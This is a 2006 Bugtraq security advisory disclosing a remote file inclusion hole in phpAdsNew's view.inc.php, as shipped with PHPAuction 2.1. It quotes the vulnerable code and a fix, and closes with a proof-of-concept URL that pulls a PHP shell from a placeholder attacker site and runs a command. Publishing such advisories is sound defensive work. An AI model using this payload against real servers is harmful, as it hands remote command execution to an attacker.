[<prev] [next>] [day] [month] [year] [list]
Message-ID: <20060730102915.10831.qmail@securityfocus.com>
Date: 30 Jul 2006 10:29:15 -0000
From: philipp.niedziela@....de
To: bugtraq@...urityfocus.com
Subject: PHPAuction 2.1 (maybe higher) with phpAdsNew 2.0.5 RFI
+--------------------------------------------------------------------
+
+ PHPAuction 2.1 with phpAdsNew 2.0.5 Remote File Inclusion
+
+--------------------------------------------------------------------
+
+ Affected Software .: PHPAuction 2.1 (maybe higher) with phpAdsNew,
+ phpAdsNew 2.0.5 (maybe higher)
+ Venedor ...........: http://www.phpauction.net,
+ http://phpadsnew.com
+ Class .............: Remote File Inclusion in /phpAdsNew/view.inc.php
+ Risk ..............: high (Remote File Execution)
+ Found by ..........: Philipp Niedziela
+ Original advisory .: http://www.bb-pcsecurity.de/sicherheit_264.htm
+ Contact ...........: webmaster[at]bb-pcsecurity[.]de
+
+--------------------------------------------------------------------
+
+ Code /phpAdsNew/view.inc.php:
+
+ .....
+ // Include required files
+ require ("$phpAds_path/dblib.php");
+ require ("$phpAds_path/lib-expire.inc.php");
+ .....
+
+--------------------------------------------------------------------
+
+ $phpAds_path is not properly sanitized before being used.
+
+--------------------------------------------------------------------
+
+ Solution:
+ Declare $phpAds_path before using.
+
+--------------------------------------------------------------------
+ PoC:
+ Place a PHPShell on a remote location:
+ http://evilsite.com/dblib.php/index.html
+
+ http://[target]/phpAdsNew/view.inc.php?phpAds_path=http://evilsite.com/dblib.php/&cmd=ls
+
+--------------------------------------------------------------------
+
+ Greets:
+ Krini&Lenni
+
+-------------------------[ E O F ]----------------------------------
Powered by blists - more mailing lists